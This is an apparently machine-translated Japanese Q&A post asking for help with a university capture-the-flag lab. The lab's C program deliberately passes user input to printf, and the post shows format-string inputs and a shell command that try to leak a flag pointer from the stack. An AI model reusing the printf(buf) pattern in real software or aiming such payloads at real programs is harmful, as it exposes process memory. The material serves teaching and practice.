私はリバースエンジニアリングについてCSCI 4971 courseから学びたいと思っています。私はある特定のラボの質問(fmt_string)に苦しんでいます。フォーマット文字列を悪用したスタックから任意のポインタを読み取る方法は?
私はどこかの旗の店を見つけて印刷することになっています。ここでは、ソースコードがどのように見えるかです:
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#define LINK "\x1b\x5b" "34m"
#define RESET "\x1b\x5b" "0m"
int main()
{
char buf[256];
char *blah = (char *)0xdeadbeef;
char *pointer = flag;
char *xblah = (char *)0x1337c0de;
printf("\x1b\x5b" "32;1m" "Format string bugs " RESET "were discovered in 1990 using fuzz testing\n" RESET
"Nobody really cared though until this exploit for ProFTPD was\n"
"dropped in 1999 " LINK "http://seclists.org/bugtraq/1999/Sep/328" RESET ".....\n"
"\n"
"In this challenge you do not need code execution. The flag is\n"
"somewhere in memory. There is a pointer to it on the stack. You\n"
"must use this pointer to dump the flag...\n"
"\n"
"You will retrieve it by passing in format string specifiers to\n"
"the printf() function\n"
"\n"
"After class read this article by rebel for fmt string leetness\n"
LINK " http://neworder.box.sk/newsread.php?newsid=9103" RESET "\n"
"\n"
"As a hint, your pointer is somewhere\n between 0x1337c0de and 0xdeadbeef\n"
"\n oh, and man printf\n"
"\n"
"\n"
);
while(1)
{
printf("> ");
fgets(buf, sizeof(buf), stdin);
printf(buf);
}
}
これは私が問題に近づい方法です:私は%x
を入力すると、スタックに格納されたデータをプリントアウトすることを知っています。だから私がAAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x
を入力すると、私は期待どおりの出力AAAA.00000100.080c7020.00000000.1337c0de.080c90a0.deadbeef.41414141
を得る。
最後の4バイト41414141
は、最初は4 Asで、4バイトのdeadbeef
および1337c0de
はソースコードでハードコードされたものです。さて、私はフラグがアドレス080c90a0
に保存されていることを確信しています。
私はthis bash commandを実行したときしかし、私はフラグを取得することはできません。
$ printf "\xa0\x90\x0c\x08.%08x.%08x.%08x.%08x.%08x.%08x.%s | ./fmt_string"
私は何を得ることである:
000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
私は、なぜ私は、私が間違って何をやっている理解する助けてくださいこの出力を取得し、フラグを取得するにはどうすればよいですか?
このタスクは、1)特定の割り当て順序2)最適化が行われていないと仮定しているので、ナンセンスのように聞こえます。 – Lundin
"コマンド' $ printf ... 'を実行しますか?"それはシェルコマンドですか?それとも、それを入力するという意味ですか? –
@PaulOgilvieシェルコマンドです。 –